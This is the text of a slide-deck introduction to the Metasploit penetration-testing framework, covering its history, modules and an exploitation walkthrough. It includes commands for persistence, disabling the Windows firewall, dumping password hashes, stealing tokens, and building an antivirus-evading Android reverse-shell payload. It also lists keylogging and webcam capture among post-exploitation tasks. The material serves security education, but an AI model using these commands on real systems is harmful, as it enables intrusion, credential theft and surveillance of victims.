metasploit

45
INTRODUCTION TO METASPLOIT #METASPLOIT G.Manideep, @mani0x00 -God of Framework’s

Upload: nullhyd-null0x00

Post on 12-Jul-2015

129 views

Category:

Education


1 download

TRANSCRIPT

Page 1: Metasploit

INTRODUCTION TO METASPLOIT

#METASPLOIT

G.Manideep,

@mani0x00

-God of Framework’s

Page 2: Metasploit

#whoami<?php$var = “@mani0x00”;If ($var == script kiddie){Echo ‘security flows in blood ’;}Else if ($var == white hat){Echo ‘security flows in blood’;}Else{Echo ‘security flows in blood’;}?>

G.Manideep,

B.tech 3rd year ,E.C.E

@mani0x00

Page 3: Metasploit

#Creator

Developer of Metasploit Framework.

Chief Researcher at Boston.

Leading provider of security data

and analytics software and cloud

Solutions.

Page 4: Metasploit

#History In Oct 2003 ‘DEFCON’ Metasploit 1.0 was released with 11 exploits

by H.D.Moore.

Firstly, it was completely coded in Perl and later completely re-coded in Ruby.

Acquired by Rapid7 in 2009 under some terms and conditions.

Remains open source

Page 5: Metasploit

#Getting started#vulnerability

A Vulnerability is a weakness of a system, which allows the attacker to Exploit the system.

VULNERABILITY

Page 6: Metasploit

#Getting started#Exploit An Exploit is an attack on a system, especially one that takes advantage of a particular Vulnerability of the system using Payloads.

Page 7: Metasploit

#Getting started#PayloadA Payload is a piece of code that executes in the vulnerable system after exploitation of the system.

Page 8: Metasploit

Tools

Libraries

REX

MSF core

MSF basePlugins

Modules

Auxiliary Payloads Exploits Encoders Nops

#Architecture Interfaces

Console

CLI

WEB

Armitage

Page 9: Metasploit

#libraries

rex

msf:: core

msf :: base

Page 10: Metasploit

#ModulesExploit’s

Payload’s

Auxiliary’s

Encoders

Nops

Page 11: Metasploit

#Auxiliary’sTypically, an Exploit without Payload is called Auxiliary.

Used for scanning, fuzzing, and some automated tasks.

Makes use of mixins.

To run type in Run.

Page 12: Metasploit

#EncodersTo evade anti-viruses encoders are used.

Payload’s are encrypted.

E.g.

• Shikata_ga_nai

• Nonaplha

• Bloxor

Page 13: Metasploit

#NopsMainly used to keep the size of the payload consistent.

Having 8 nops.

Page 14: Metasploit

#Interfaces

#msfcli

#msfconsole

#msfweb

#Armitage(GUI)

Page 15: Metasploit

#Armitage (Gui)Developed by Raphel

Mudge

Page 16: Metasploit

#msfconsoleWhich is a interactive console.

starting msfconsole

Page 17: Metasploit

#msfconsoleHere our journey begins

msf >

Page 18: Metasploit

#let’s attack

Page 19: Metasploit

#Port scanning

which is for information gathering.

Nmap is used for port scanning.

Auxiliary’s also can be used.

As information gathering is important in pen testing, let’s do

a traditional scanning .

Page 20: Metasploit

#Port scanningUsing Auxiliary’s:

Page 21: Metasploit

#Port scanningUsing Nmap:

Page 22: Metasploit

#Exploitation

Mostly an attacker send’s a combination of Exploit and Payload.

In msfconsole there are some simple commands that makes our

work pretty easy

some of them are (core commands):

Search Use Set

Run Exploit Setg

Page 23: Metasploit

#ExploitationUsing Exploit:

Just type in use <path of suggested exploit’s>

prefer the exploit which has a good ranking.

Page 24: Metasploit

#ExploitationSetting Parameters:

Just type show options and find the parameters to be filled.

Then set the parameter by typing ‘set <parameter> <value>’.

Page 25: Metasploit

#ExploitationSimilar to Exploit’s search, search for appropriate Payload.

Then Set using ‘set PAYLOAD’ and fill the payload parameters.

Then Just type in “Exploit”.

Page 26: Metasploit

#some successful exploitsms03_026dcom

ms08_067_netapi (ever green :D )

ms11_050_mshtml

ms10_042_helpctr_xss_cmd_exec

ms10_046_shortcut_icon_dllloader

dreamftp_format

distcc_exec (for linux)

Page 27: Metasploit

#Maintaining accessBy executing a script with some arguments as shown below-run persistence –S(admin priv) –i(time int) –p(rport) –r(lhost)

Page 28: Metasploit

#Maintaining accessBy listening on the specified port using multi-handler exploit

Page 29: Metasploit

#Post ExploitationUsing this meterpreter we can perform different tasks by getting

the privileges of the victim .

Can grab a screen shot’s, keylogging by loading and much more with

• Espia

• Incognito

• Pivot

• Sniffer

• Priv

• Stdapi (By Default)

Page 30: Metasploit

#Post ExploitationCan also perform using modules.

Let’s take multiple screen shots in a certain intervals.

Page 31: Metasploit

#Post ExploitationMargate's to another process which has admin privileges

and then completes the task.

Page 32: Metasploit

#Post ExploitationWhat else we can do in post exploitation?

Let’s see some of them,

-Keylogging

-Screen shots

-view live screen

-access webcam

-take control of keyboard and mouse

-del user

-pivort

-vm detection and many more..

Page 33: Metasploit

#Privilege Escalation

what can you get from the system privileges which are used to

be protected is called Privilege escalation.

Some of them are migrating the process, stealing the tokens to get

the desired privileges.

Let’s take a look on some of them .

Page 34: Metasploit

#Privilege EscalationCan migrate to pid’s which has admin privileges.

Page 35: Metasploit

#Privilege Escalation By loading Incognito, We can steal( impersonate ) the tokens

to get privileges.

Page 36: Metasploit

#Privilege Escalation To use type in impersonate_token<token>

Page 37: Metasploit

#Privilege Escalation

#HashDump:

Dumps all the user’s usernames and passwords

Page 38: Metasploit

#What else we can do? Even can sniff the packets of the victim remotely

Evading Firewall’s

Let’s take a look

Page 39: Metasploit

#Bypassing Firewall

Page 40: Metasploit

#Bypassing FirewallAfter getting a meterpreter , get access to shell and type

> netsh firewall show opmode

Page 41: Metasploit

#Bypassing FirewallNow type >netsh firewall set opmode mode= DISABLE

Page 42: Metasploit

#Attacking LinuxUsing distcc_exec

Page 43: Metasploit

#Attacking AndroidUsing msfpayloadmsfpayload android/meterpreter/reverse_tcp

LHOST=<loc-ip>

LPORT=<any> R> /(desired path for saving)<file>.apk

Install that apk file into device

if there is any anti-virus encode them with encoders

Page 44: Metasploit

#Attacking AndroidListen on mentioned port using multi-handler exploit

Page 45: Metasploit

#Thank you!

-@mani0x00